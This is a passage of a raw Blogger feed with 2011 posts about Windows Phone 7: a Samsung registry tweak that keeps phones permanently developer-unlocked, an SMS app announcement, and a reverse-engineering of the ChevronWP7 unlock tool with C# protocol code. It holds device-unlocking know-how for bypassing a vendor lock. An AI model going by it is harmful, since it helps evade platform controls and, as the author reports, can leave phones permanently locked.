font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"&gt;&lt;span id="lnum4" style="color: #606060;"&gt;   4:&lt;/span&gt; PortalUrlInt&lt;span style="color: #006080;"&gt;"="&lt;/span&gt;https://developerservices.windowsphone-int.com/Services/WindowsPhoneRegistration.svc/01/2010"&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;By setting these two values to null (a void string), the phone will never be able to synchronize with Microsoft servers and hence won’t relock again.&lt;br /&gt;&lt;br /&gt;Now if you want&amp;nbsp; to relock your phone again for whatever reason, with HTC device it is just applying a provxml that will revert the process and insert the URLs back, but on Samsung devices it is not that easy. &lt;br /&gt;&lt;br /&gt;Writing on Samsung registry (take a look at &lt;a href="http://www.martani.net/2011/01/wp7-hacks-reading-writing-registry-on.html" target="_blank"&gt;my previous post about this&lt;/a&gt;) is done using the &lt;em&gt;CHybridClass_FCRProxy&lt;/em&gt; class that comes with the native Samsung DLL &lt;em&gt;FCRouterProxy.dll (this DLL has access to some privileged Registry keys)&lt;/em&gt;. &lt;br /&gt;&lt;br /&gt;To write a value on the registry, you basically call something like this :&lt;br /&gt;&lt;div&gt;&lt;div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-top-color: silver; border-top-style: solid; border-top-width: 1px; cursor: text; direction: ltr; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 20px; max-height: 200px; overflow-x: auto; overflow-y: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"&gt;&lt;br /&gt;&lt;div id="codeSnippet" style="background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: 'Courier New', courier, monospace; font-size: 8pt; line-height: 12pt; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"&gt;&lt;pre style="background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: 'Courier New', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"&gt;&lt;span id="lnum1" style="color: #606060;"&gt;   1:&lt;/span&gt; Samsung.RegistryWrite(Samsung.RegistryKey.LocalMachine, &lt;span style="color: #006080;"&gt;@"Software\Microsoft\DeviceReg"&lt;/span&gt;, &lt;span style="color: #006080;"&gt;"PortalUrlProd"&lt;/span&gt;, &lt;span style="color: #006080;"&gt;"VALUE HERE"&lt;/span&gt;);&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Strangely, the native Samsung methods don’t allow writing values that are more than 30 characters length, which makes it impossible to write back the original URLs that point to Microsoft servers. &lt;br /&gt;&lt;br /&gt;So if a Samsung user locks its phone after this, he will never be able to unlock it again even with a valid developer account (just happened to me).&lt;br /&gt;&lt;br /&gt;Heathcliff74 over XDA forums &lt;a href="http://forum.xda-developers.com/showthread.php?p=12559781" target="_blank"&gt;has promised&lt;/a&gt; me that his future Registry utility for Samsung devices will have root access, so let’s hope it will come soon. Another solution would be putting a less than 30 chars url that redirects to 127.0.0.1 or &lt;i&gt;https://developerservices.windowsphone.com&lt;/i&gt; something I didn’t try (won’t risk yet) and that would require more work (domain certificates?…)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-207902694544295114?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/207902694544295114/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/04/wp7-samsung-devices-unlocked-forever.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/207902694544295114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/207902694544295114'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/04/wp7-samsung-devices-unlocked-forever.html' title='WP7 Samsung Devices Unlocked Forever?'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-6116837737326405161</id><published>2011-03-12T16:14:00.003+01:00</published><updated>2011-03-24T17:16:31.127+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='wp7'/><category scheme='http://www.blogger.com/atom/ns#' term='beta sms'/><title type='text'>Beta SMS for Windows Phone 7 is here</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div align="justify"&gt;I’ve developed Beta SMS for Windows Phone 7 back in January, but due to delays and problems with the GeoTrust registration process to publish apps on the Marketplace, the app has been published only yesterday on the WP7 Marketplace, available for $1.29.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Beta SMS allows you to send cheap or free SMS from your favorite &lt;strong&gt;BetaMax&lt;/strong&gt; and &lt;strong&gt;VoIP&lt;/strong&gt; provider directly from your windows Phone 7 device. It supports more than a dozen of SMS services like '&lt;em&gt;WebCallDirect&lt;/em&gt;' and '&lt;em&gt;Voip Discount&lt;/em&gt;' and still counting.&lt;br /&gt;&lt;br /&gt;In order to use Beta SMS, you need to have an account in one of these services:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;SUPPORTED SERVICES:&lt;/strong&gt;&lt;br /&gt;- webcalldirect.com&lt;br /&gt;- voipdiscount.com&lt;br /&gt;- poivy.com&lt;br /&gt;- voipstunt.com&lt;br /&gt;- voipwise.com&lt;br /&gt;- voipcheap.com&lt;br /&gt;- internetcalls.com&lt;br /&gt;- smslisto.com&lt;br /&gt;- justvoip.com&lt;br /&gt;- voipbuster.com&lt;br /&gt;- freecall.com&lt;br /&gt;- intervoip.com&lt;br /&gt;- smsdiscount.com&lt;br /&gt;- dialnow.com&lt;br /&gt;- telbo.com &lt;br /&gt;&lt;br /&gt;In case your favorite provider is not listed here, please contact me (the contact information are available on the Marketplace with the app description) and I’ll make sure to include them in the coming updates.  &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TXuNu8n7E6I/AAAAAAAACnU/2Lqvrsl3-Gs/s1600-h/s1%5B2%5D.png"&gt;&lt;img alt="s1" border="0" height="244" src="http://lh4.ggpht.com/_MIqc395dv38/TXuNvcBjKrI/AAAAAAAACnY/nC_0W9QGU-Y/s1_thumb.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="s1" width="148" /&gt;&lt;/a&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TXuNv9Pib4I/AAAAAAAACnc/E52Makm2A2g/s1600-h/s2%5B2%5D.png"&gt;&lt;img alt="s2" border="0" height="244" src="http://lh4.ggpht.com/_MIqc395dv38/TXuNwuTiMYI/AAAAAAAACng/_9kgyuFqBCQ/s2_thumb.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="s2" width="148" /&gt;&lt;/a&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TXuNxQEdXSI/AAAAAAAACnk/YKYNn37v6rA/s1600-h/s3%5B2%5D.png"&gt;&lt;img alt="s3" border="0" height="244" src="http://lh3.ggpht.com/_MIqc395dv38/TXuNxqix6tI/AAAAAAAACno/3AU2tjmkDaY/s3_thumb.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="s3" width="148" /&gt;&lt;/a&gt;  &lt;br /&gt;&amp;nbsp; &lt;br /&gt;You can download Beta SMS from here :  &lt;br /&gt;&lt;br /&gt;&lt;a href="zune://navigate?phoneAppID=b32c70b6-b127-e011-854c-00237de2db9e" target="_blank"&gt;&lt;img alt="Downlaod Beta SMS" border="0" height="83" src="http://lh3.ggpht.com/_MIqc395dv38/TXuNyPozngI/AAAAAAAACns/Xh3fADXiGgw/wp7_English_278x92_blue%5B3%5D.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="Downlaod Beta SMS" width="244" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://wp7applist.com/en-US/app/9904/beta-sms" target="_blank"&gt;More info&lt;/a&gt; on WP7applist.com.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-6116837737326405161?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/6116837737326405161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/03/beta-sms-for-windows-phone-7-is-here.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6116837737326405161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6116837737326405161'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/03/beta-sms-for-windows-phone-7-is-here.html' title='Beta SMS for Windows Phone 7 is here'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/TXuNvcBjKrI/AAAAAAAACnY/nC_0W9QGU-Y/s72-c/s1_thumb.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-1447835096152256468</id><published>2011-01-16T14:27:00.001+01:00</published><updated>2011-01-16T19:26:23.177+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='chevronwp7'/><title type='text'>ChevronWP7 internals, Microsoft advertisement?</title><content type='html'>&lt;p&gt;&lt;a href="http://www.chevronwp7.com" target="_blank"&gt;ChevronWP7&lt;/a&gt; is an application that gives the ability for anyone to unlock a WP7 device without a Marketplace developer account.&lt;/p&gt; &lt;p&gt;There have been a lot of fuss about the tool, with Microsoft taking serious moves against the developers of the tool till they took it down (available on &lt;a href="http://forum.xda-developers.com/showthread.php?t=857127" target="_blank"&gt;xda&lt;/a&gt; though).&lt;/p&gt; &lt;p&gt;About a week ago we started &lt;a href="http://forum.xda-developers.com/showthread.php?t=905653" target="_blank"&gt;a thread on xda forums&lt;/a&gt; in order to try to disassemble the code of the ChevronWP7 and try to understand how it works, personally I was totally impressed how they are doing the communication with the phone, and especially how did they discover the series of bytes to send to the device that translates into commands etc.., it was unlikely to be discovered just out of the blue, and with further digging in the obfuscated code, I started to be skeptical about it and the fact that Microsoft could have a hand in this in order to advertise for its brand new phone OS.&lt;/p&gt; &lt;p&gt;But 2 days ago, I discovered that within the WP7 SDK, there is program called Windows Phone Developer Registration, I opened it with reflector, and there was the code as if it is the original source code.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TTLyQrhJrmI/AAAAAAAACkA/0qIHBph-iRY/s1600-h/Sans%20titre%5B3%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto; padding-top: 0px" title="Sans titre" border="0" alt="Sans titre" src="http://lh5.ggpht.com/_MIqc395dv38/TTLyRSiVqlI/AAAAAAAACkE/barYAwpRR74/Sans%20titre_thumb%5B1%5D.png?imgmax=800" width="453" height="101"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The thing is that the similarities with the (weakly) obfuscated ChevronWP7 and the original MS tool are too evident, the same absolute structure of code, and it turns out that the chevronWP7 tool is just that Windows Phone Developer Registration without the authentication to live services!&lt;/p&gt; &lt;p&gt;What the ChevronWP7 guys did, was redirect requests to &lt;em&gt;developerservices.windowsphone.com&lt;/em&gt; to the a local address of the computer and start a http service to send a faked response to the phone when it makes the request to check if it should be unlocked!&lt;/p&gt; &lt;h3&gt;Basically the application works as following :&lt;/h3&gt; &lt;p&gt;It uses a TcpClient to communicate with the phone over port 27077&lt;/p&gt; &lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt; &lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.client = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; TcpClient(); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.client.SendTimeout = 2000; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.client.ReceiveTimeout = 2000; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum4"&gt;   4:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.client.LingerState.Enabled = &lt;span style="color: #0000ff"&gt;true&lt;/span&gt;; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum5"&gt;   5:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.client.LingerState.LingerTime = 0; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum6"&gt;   6:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.client.NoDelay = &lt;span style="color: #0000ff"&gt;true&lt;/span&gt;; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum7"&gt;   7:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.client.Connect(&lt;span style="color: #006080"&gt;"127.0.0.1"&lt;/span&gt;, 27077);  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;To check the status of the phone:&lt;br&gt;&lt;/b&gt;&lt;br /&gt;&lt;p&gt;it sends this byte array&lt;/p&gt;&lt;br /&gt;&lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt;&lt;br /&gt;&lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;[] buffer = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; &lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;[4]; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt; buffer[0] = 16; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt; buffer[1] = 1; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum4"&gt;   4:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.commandData = buffer;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;To Unlock the phone :&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;it sends this byte array&lt;/p&gt;&lt;br /&gt;&lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt;&lt;br /&gt;&lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; List&amp;lt;&lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;&amp;gt; list = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; List&amp;lt;&lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;&amp;gt;(); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt; ASCIIEncoding encoding = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; ASCIIEncoding(); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt; num = (&lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt;)(((authToken.Length + 3) + 2) + 3); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum4"&gt;   4:&lt;/span&gt; list.AddRange(&lt;span style="color: #0000ff"&gt;new&lt;/span&gt; &lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;[] { 16, 3 }); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum5"&gt;   5:&lt;/span&gt; list.AddRange(BitConverter.GetBytes(num)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum6"&gt;   6:&lt;/span&gt; list.Add(1); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum7"&gt;   7:&lt;/span&gt; list.AddRange(BitConverter.GetBytes((&lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt;)authToken.Length)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum8"&gt;   8:&lt;/span&gt; list.AddRange(encoding.GetBytes(authToken)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum9"&gt;   9:&lt;/span&gt; list.Add(2); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum10"&gt;  10:&lt;/span&gt; list.AddRange(BitConverter.GetBytes((&lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt;)2)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum11"&gt;  11:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt; num2 = isInt ? ((&lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt;)0) : ((&lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt;)1); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum12"&gt;  12:&lt;/span&gt; list.AddRange(BitConverter.GetBytes(num2)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; 